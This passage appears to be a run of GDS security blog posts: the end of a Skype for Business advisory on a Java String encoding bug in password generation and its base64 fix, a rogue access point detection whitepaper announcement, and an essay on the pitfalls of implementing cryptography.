The underlying cause of this issue is the use of Java’s String class to hold binary cryptographic data. Java’s String class is not meant to hold raw bytes, and actually will encode strings differently based on each platform’s encoding preferences. The bytes originally being generated by the function above are incorrectly transformed into UTF-8 when used in a string, converting over half the bytes to invalid character sequences. The entire issue can be resolved by removing the use of the String class in favor of the use of byte arrays.

Additionally, it should be noted that the application chronically uses Java strings when handling cryptographic material, compounding the difficulty of resolving the issue. For instance, the application uses a class to store the password during some operations and stores the password itself as a string:

668: public static class Password {
669:         private final String m_passwordEncrypted;
670:         private String m_passwordPlaintext = null;
672:         private Password(String string2) {
673:             this.m_passwordEncrypted = string2;
674:         }
676:         public static Password fromEncrypted(Context context, String string2) {
677:             return new Password(string2);
678:         }
680:         public static Password fromPlainText(Context object, String string2) {
681:             if (TextUtils.isEmpty((CharSequence)string2)) {
682:                 object = “”;
683:                 return new Password((String)object);
684:             }
685:             object = CryptoUtils.encrypt(string2);
686:             return new Password((String)object);
687:         }
When Skype private keys are loaded, a similar issue occurs:
396:   String loadPrivateKey(Account object, ICredentialStore.Service service) throws SfbCryptoException {
397:         String string2;
398:         String string3 = string2 = null;
399:         if (object == null) return string3;
400:         object = this.accountManager.getUserData((Account)object, this.privateKeyAccountDataKey(service));
401:         string3 = string2;
402:         if (object == null) return string3;
403:         return CryptoUtils.decrypt((String)object);
404:     }


The issue was remediated by converting the password bytes to base64 before they are returned by generateRandomPassword(). This ensures that the original bytes are preserved and are not altered due to character encoding. The fix was applied in the other areas of the application that were similarly vulnerable.
private String generateRandomPassword()
   byte[] arrby = new byte[42];
   new SecureRandom().nextBytes(arrby);
-  return new String(arrby);
+  return Base64.encodeToString(arrby,0);


GDS disclosed this issue to Microsoft in November 2016 and it was remediated in production builds of Skype for Business in December 2016 in version

Microsoft did not assign a CVE or disclose technical details of the vulnerability. GDS researcher John Dunlap was listed on the January “Security Researcher Acknowledgements” which can be found at


Whitepaper: Identifying Rogue Access Point Attacks Using Probe Response Patterns and Signal Strength

Last summer we released material at DEF CON 2016 documenting our research on rogue access point attack detection. As a follow-up, we are releasing our extended whitepaper on the subject. The whitepaper begins by providing a thorough overview of the weaknesses that make 802.11 susceptible to rogue access point attacks. We also explain why these weaknesses are still relevant in today’s wireless landscape, with a particular focus on enterprise environments. Previous attempts at remediating these issues are also explored, as is the evolution of rogue access point technology over the past decade. Finally, with this background information out of the way, we deliver two new techniques for detecting evil twin and Karma attacks. Potential areas for future research are also identified, providing a starting point for future exploratory endeavors.

Our whitepaper can be found at the following URL: Labs - Identifying Rogue Access Point Attacks Using Probe Response Patterns and Signal Strength.pdf

To check out our previous work on the subject, including our DEF CON material and Sentrygun rogue AP killing software, please refer to the links below:


Why it is Hard to Implement Cryptographic Algorithms

Although it is oft-repeated that implementing cryptographic algorithms by non-professionals is a bad idea, we would like to give some concrete examples of how things can go wrong, and show some of the ways these pitfalls have been avoided by some of the well-known cryptographic libraries. Hopefully, these examples will serve as danger signs to those who consider implementing cryptographic algorithms from scratch based on potentially imprecise specifications.

It’s often overlooked that every programming language is executed over an abstract machine. The abstract machine that C works over is surprisingly complicated and has some unexpected behaviours even to experienced developers. However, one does not need to go to the level of C to find unexpected behaviour. Even modern assembly language is running over an abstract machine. This can easily be demonstrated by running an executable that accesses the same data item, say a lookup table, repeatedly. Parts of the lookup table will end up in some of the L1/L2/L3 cache of the CPU and the time it takes to execute parts of program that access the table might radically decrease as time goes on [1]. Unfortunately, when things take different time to execute depending on secret data, such as the key or the correct authentication code, there is a potential for attack. Similarly, branching behaviour can also affect timing even if the code under the branches only deals with registers and takes the same number of micro ops. Modern CPUs have complex branch prediction logic that favours past branch outcomes. This can significantly affect timing and can lead to practical attacks [2]. However, it’s not only execution time that abstract machines influence. The C standard allows compilers to perform optimizations such as removing expressions whose value is not used and that produce no needed side-effects (C11 standard § paragraph 4). As such if one attempts, using a modern C compiler, to remove sensitive data by naively zeroing the memory region before freeing it, the generated code will often not contain the zero writes. Such subtleties surprise many programmers but are well-known to those who regularly implement cryptographic algorithms (many of whom will have learnt from their own, or others, previous mistakes). Countermeasures against these issues are not easy and sometimes require difficult trade-offs. It’s relatively easy to avoid using lookup tables for S-boxes, but removing branches that can leak sensitive data requires the careful consideration of an expert.

A software developer is often required to be an interpreter of the intention and decisions of the software designers and the broader context (social, cultural, technical, etc.) in which those decisions were made. What this means in practice is that the developer is often left with many choices when it comes to implementation. In the case of cryptography, some things may only have been decided in what a cryptographer would consider a very rough specification, such as: use HMAC-SHA-2 and AES. However, that leaves many questions unanswered. Should different keys be used for each? What block cipher mode should be used for AES? How should the Message authentication Code (MAC) and the ciphertext be combined? How should the common pitfalls associated with both encrypt-then-MAC and MAC-then-encrypt be avoided? When using a standard off-the-shelf library’s high-level primitives, such questions are usually already answered, at least when defaults are not overridden,  by the authors of the library. For example, NaCl’s secretbox [3] uses Authenticated Encryption with Associated Data (AEAD) with Salsa20 as the encryption provider and Poly1305 as the MAC provider in a well-combined manner. These are strong, fast, well-chosen (if not universally recognised) algorithms and implementations that work well together and non-coincidentally avoid all the pitfalls mentioned above. Asking a developer not proficient in cryptography to put such a system together is inherently risky.

Another issue with implementing cryptographic systems is that some properties of these systems are rather fragile. A prime example is that of AES-CBC which uses padding to extend the length of the message to be a multiple of the block size of AES. If the developer decides to return a different error code when the padding is malformed rather than when it is correct, but the decoded plaintext doesn’t match the MAC, the plaintext can be decoded. At GDS, we have not only seen such issues in deployed systems but have also published a tool to demonstrate them [4]. Such pitfalls are not unique to symmetric cryptographic primitives. It is not unheard of to see developers being surprised that RSA signing and encryption operations both require secure random numbers. If one reads through the RSA page of Wikipedia [5] for example, there is nothing random about the mathematical operation. However, if implemented purely, without randomness, both uses of RSA have some trivially unsuitable properties. For example, if a number between 0 and 65535 has been encrypted, one only needs to perform the RSA encryption operation 65536 times using the public key to know for certain what number hasbeen “encrypted”. In case the number is some form of pre-commitment, such as how much stock one is willing to buy, the effects can be devastating. All library implementations of RSA encryption avoid this pitfall by using the proper RSAES-OAEP/PKCS1-v2.0 encryption schemes.

Finally, the issue with hand-rolling cryptographic systems is that if and when they get broken, it is very hard to replace them without risking the ecosystem that the product created, paying a very high price, or both. For example, A5/1 used for GSM encryption has long been known to be broken [6], yet replacing it has been almost impossible for over a decade thanks to the millions of handsets still in operation from decades ago. This has left billions of phones susceptible to a wide range of attacks both from governments and private enthusiasts. As the Internet of Things (IoT) is gathering speed by the day and commodity devices such as TVs and kettles start being connected to the Internet, it is crucial to make sure that these systems have good security from the get go and can be securely, remotely updated with full user consent if need be. Unfortunately, not everything can be updated remotely, such as the MIFARE Classic cards, marketed as Oyster transportation cards in London. There, a cipher with an extremely short, 48 bit key was deployed to “secure” digital wallets. Upgrading thousands of entry points and millions of Oyster Cards to one capable of 128 bit AES encryption was probably not the cheapest of endeavours.

At GDS we see many products with incomplete crypto specifications and resultant code that does not take into account the often complicated and subtle issues around the design, implementation, and use of cryptography. When such code is already in production, especially when it has been in use for years, the cost of replacing it can be prohibitively high. Hence our recommendation is to always do a thorough, complete evaluation of where the final product will be used to properly establish context, then work out a full, precise specification that can match the requirements established and finally to use well-established cryptographic libraries’ crypto components to implement the specification. Once the product is in use, it is also important to monitor whether the context in which it is deployed in has changed. Not only the cryptographic landscape can change as new attacks are found but those who designed the product may find that over the years its use-case changes from the original intention. In these cases a new requirements analysis and potentially amended specification and implementation is warranted.